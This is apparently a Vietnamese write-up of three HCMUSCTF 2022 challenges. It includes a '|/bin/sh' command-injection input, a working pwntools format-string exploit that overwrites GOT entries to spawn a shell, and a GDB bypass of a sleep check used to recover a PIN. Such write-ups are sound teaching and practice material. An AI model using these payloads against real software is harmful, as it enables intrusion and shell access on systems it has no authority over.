HCMUSCTF 2022

printme

Giải:

  • Chương trình cho chạy lệnh cat và filter các kí tự nhưng không filter kí tự "|" tức là là lệnh OR trong bash shell . Nên mình sẽ nhập |/bin/sh, vậy là có thể get shell

WWW

Giải:

  • Bài này mình sẽ overwrite got của scanf để tạo loop, sau đó overwrite got của printf thành got của system, ở đoạn gets mình sẽ nhập chuỗi /bin/sh. Như vậy là đã có thể get shell

Solve:

from pwn import *

elf = ELF("./chall")
p = elf.process()
#p = remote("103.245.250.31", 32183)
raw_input("DEBUG")

context.arch = "amd64"
#create loop (overwrite got_scanf to main func)
payload =  b"%005231c"
payload += b"%0012$hn"
payload += p64(elf.got['__isoc99_scanf'])

p.sendlineafter(b"First, tell me your name?", payload)

payload =  b"%4198512x"
payload += b"%012$ln"
payload += p64(elf.got['printf'])


p.sendlineafter(b"First, tell me your name?", payload)

p.sendline(b"/bin/sh")

p.interactive()

timehash

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  unsigned int v4; // [rsp+1Ch] [rbp-14h]
  __int64 v5; // [rsp+28h] [rbp-8h]

  if ( argc != 2 )
  {
    puts("Wrong");
    exit(1);
  }
  v5 = (int)time(0LL);
  v4 = 0x22334455;
  while ( v4 > 0x10000000 )
  {
    v4 = SeriousHash(v4);
    sleep(0x15180u);
    if ( v5 + 86400 > (unsigned __int64)(int)time(0LL) )
      exit(2);
  }
  if ( atoi(argv[1]) == v4 )
    result = puts("Congratulations");
  else
    result = puts("Wrong");
  return result;
}

Chương trình cho nhập vào 1 số sau đó check số này với v4 sau khi đã gọi hàm seriousHash, nhưng chương trình lại gọi hàm sleep tận 24 tiếng =)), nên lúc này mình đem vô gdb để set giá trị rip nhảy tới đoạn check v4 > 0x10000000, debug khoản 8-9 lần gì đó là sẽ được giá trị v4.

Giá trị v4 ta được là 0x5c0cbd0 đem đổi giá trị này qua dec là ta sẽ được mã PIN.

Last updated